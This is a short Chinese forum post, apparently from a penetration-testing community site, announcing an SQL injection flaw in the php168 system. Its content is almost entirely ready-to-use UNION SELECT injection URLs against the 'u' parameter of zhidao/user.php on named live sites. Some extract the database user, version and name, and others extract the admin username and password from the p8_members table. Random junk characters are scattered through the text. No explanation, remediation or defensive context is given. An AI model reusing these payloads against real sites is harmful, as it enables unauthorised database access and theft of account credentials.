中国网络渗透测试联盟

标题: php168某系统注入漏洞 [打印本页]

作者: admin 时间: 2012-10-18 08:52
标题: php168某系统注入漏洞
http://v7.php168.com/zhidao/user.php?j=question&u=-1+union+select+1,2,3,concat(user(),0x3a,version(),0x3a,database()),5,6,7,8--& P4 M0 h% x6 p! B. F2 W* S& _1 E

& T1 H; l& `; f/ r9 a" s: k                                     [attach]94[/attach]
% M/ k4 ?% F$ R
4 c3 ]. W1 k# A  F1 {http://www.china-highway.com/zhidao/user.php?%00&j=question&u=-1+union+select+1,2,3,concat(0x3a,username,0x3a,password),5,6,7,8+from+p8_members+where+uid=1--
2 F" L. a% R4 w, t! h. W
5 G$ F0 S3 E/ ^6 I4 J# J& x                                                                ! D% i: ~. O- J0 w2 ~( J6 X
                                                      [attach]95[/attach]/ `4 v: n2 @' R2 W
http://v7.php168.com/zhidao/user ... u=-1+union+select+1,2,3,concat(user(),0x3a,version(),0x3a,database()),5,6,7,8--' E9 g6 d0 u3 Y+ y- t. `
& n  J# E5 h) V" P6 G
8 k, ]) s+ r) X: t" \/ r' Q) K' p" F
7 Z  i/ |* p: N3 `3 ^
                                                         [attach]96[/attach]
# d" o# d) s1 \2 V4 s5 {( w! f4 [ : C- V* k$ D" `* K; g' o  B
http://www.china-highway.com/zhi ... u=-1+union+select+1,2,3,concat(0x3a,username,0x3a,password),5,6,7,8+from+p8_members+where+uid=1--1 L. v( r8 H* V3 ]9 [! O
, f$ z2 L0 _' K
( t/ ?- Q# X; S/ e) F
3 y: t( R3 T& V
                                                                  [attach]97[/attach]) }  W4 j6 K. J6 v

欢迎光临中国网络渗透测试联盟 (https://cobjon.com/)